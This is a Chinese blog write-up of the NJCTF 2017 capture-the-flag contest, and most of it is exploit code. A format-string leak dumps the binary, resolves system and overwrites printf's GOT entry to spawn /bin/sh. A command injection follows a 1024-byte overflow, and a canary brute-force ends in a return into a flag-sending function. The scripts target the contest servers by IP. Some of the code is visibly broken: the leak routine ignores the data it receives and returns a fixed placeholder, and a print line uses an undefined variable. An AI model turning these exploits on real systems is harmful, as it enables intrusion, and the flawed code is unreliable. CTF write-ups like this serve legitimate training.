Swing'Blog 浮生若梦 Swing'Blog 浮生若梦
  • Home
  • |
  • About
  • |
  • Articles
  • |
  • RSS
  • |
  • Categories
  • |
  • Links

2017 XCTF 南京站 线上赛 NJCTF

2017-03-15 Updated on 2019-10-28 Writeup

Table of Contents

  1. 题目地址
  2. 解题
  • VSVS
  • Pwn200
  • re400
  • Pingme

    题目地址

    nc 218.2.197.235 23745

    解题

    题目并没有提供Bin文件,但是我们可以通过leak的方法,把整个Bin文件dump下来。
    代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    def get_data(io, addr):
    prefix = ''
    if addr&0xff == 0x0a:
    prefix = '\x00'
    addr += 1
    payload = ""
    payload += "-..-%%%d$s.--.\x00"%(7+10)
    payload = payload.ljust(40, 'a')
    payload += l32(addr)
    io.writeline(payload)
    io.read_until("-..-")
    data = io.read_until(".--.")[:-4] + '\x00'
    return prefix + data

    def get_buff(io, addr, size):

    buff = ""
    while len(buff) < size:
    buff += get_data(io, addr + len(buff))

    return buff

    def dump_file(io):

    io.read_until("Ping me\n")
    """
    payload = ""
    payload += "%%%d$s."%(7+10)
    payload = payload.ljust(40, 'a')
    payload += l32(0x80484F0)
    io.writeline(payload)
    """

    #data = get_data(io, 0x8048000)
    #print "data:", repr(data)
    buff = get_buff(io, 0x8048400, 0x700)
    file_w = open("dump.bin", "wb")
    file_w.write(buff)
    file_w.close()

    print "ok"

    逻辑清晰 233 格式串漏洞,我们需要获得libc或者使用DynELF获取system地址。

    可以在9k师傅打libc db的库中,找到libc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    from pwn import *
    import time

    debug = 1
    if debug:
    r = remote("218.2.197.235",23745)
    #context.log_level = "debug"
    else:
    r = process("./pingme")
    gdb.attach(r)


    main_addr = 0x08048617
    printf_got = 0x08049974

    #r = remote("218.2.197.235", 23745)#pwn
    #r = process("./pingme")

    def leak(addr):
    payload = p32(addr)
    payload += "%7$sDCBA" # $rsp address
    r.sendline(payload)
    data = r.recv(4)
    f = 4
    # l = data.find("DCBA")
    res = '1'
    if res == "":
    log.info("[*] addr:{0} ===> value:{1}".format(hex(addr), "\x00"))
    return "\x00"
    else:
    log.info("[*] addr:{0} ===> value:{1}".format(hex(addr), res[:4].encode("hex")))
    return res[:4]#res = res.ljust(4, "\x00")
    #leak()
    r.recvuntil("me\n")

    printf_addr = leak(printf_got)
    printf_addr = printf_addr
    printf_addr = u32(printf_addr)
    # print "[*] printf addr:{0}".format(hex(printf_addr)) #printf addr:0xf7596020

    # system_addr = printf_addr - 0xe6e0#0xd100
    # print "[*] system addr:{0}".format(hex(system_addr)) #system addr:0xf7587940

    d = DynELF(leak,printf_addr)
    system_addr = d.lookup("system",'libc')
    print 'systemAddr = %#x' % (systemAddr)

    write = system_addr & 0xffffff
    two = write&0xffff
    one = (write>>16)&0xff

    payload = p32(printf_got+2)
    payload += p32(printf_got)
    payload += "%{0}c%7$hhn%{1}c%8$hn".format(one-8,two-one)
    r.sendline(payload)
    r.sendline("/bin/sh")
    r.interactive()

    dump file代码是pxx师傅的 我自己打方法失败了 23333

    VSVS

    代码执行,在name的位置输入超过1024个字节后紧跟bash,之后的命令会被 当成命令执行
    验证code可暴力解决

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    from pwn import *

    """
    NJCTF{e24de6dea4b118a8f7986fe853c15fce}
    """

    r = remote('218.2.197.235', 23749)

    r.recvuntil("code:\n")
    r.sendline("22")
    r.recvuntil("input:")
    r.sendline("ls")
    r.recvuntil("name?")
    payload = "A"*1024
    payload += "cat<flag"
    r.sendline(payload)
    print r.recv(100)
    r.interactive()

    Pwn200

    栈溢出简单粗暴,不过需要暴力猜解canary,然后直接ret到send flag的函数那里,把flag读回来。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    #由于是fork的程序,考虑爆破canary
    #爆破脚本如下:
    # -*-coding:utf-8-*-
    __author__ = 'joker'

    from pwn import *

    canary = "\x00"
    while 1:
    if len(canary) == 8:
    break
    for item in range(0xff):
    canary_tmp = canary + chr(item)
    try:
    r = remote('218.2.197.234', 2090)
    r.recvuntil("Welcome!\n")
    payload = "A"*(0x70-8)
    payload += canary_tmp
    r.send(payload)
    data = r.recv(100,timeout=0.5)
    if "Message received!" in data:
    canary += chr(item)
    print "get:{0}".format(hex(item))
    break
    r.close()
    except:
    continue
    raw_input("joker")
    print "[*] canary:{0}".format(u64(canary))

    程序读取了flag并且存在直接send flag的payload
    .text:0000000000400BCA mov eax, cs:fd
    .text:0000000000400BD0 mov ecx, 0
    .text:0000000000400BD5 mov edx, 64h
    .text:0000000000400BDA mov esi, offset flag_address
    .text:0000000000400BDF mov edi, eax
    .text:0000000000400BE1 call _send

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    # -*-coding:utf-8-*-
    __author__ = 'joker'

    from pwn import *


    #local canary = 0x6767cae5244b5000
    canary = "\x00\xcf\x4d\x36\x2e\xf4\xcc\x9d"
    send_flag = 0x400BCA

    r = remote('218.2.197.234',2090)
    r.recvuntil("Welcome!")

    payload = "A"*(0x70-8)
    payload += canary
    payload += "A"*8
    payload += p64(0x400BCA)
    r.sendline(payload)
    print r.recv(100)
    r.interactive()

    re400

    可在程序中找到目标md5值,输入并尝试用gdb去调试可以猜到flag值。

    # 战队WP
    wp

    分类: Writeup
    标签: pwn NJCTF
    ← Prev 基础栈溢出复习 之基础
    Next → angr初探

    Comments

    © 2015 - 2026 Swing
    Powered by Hexo Hexo Theme Bloom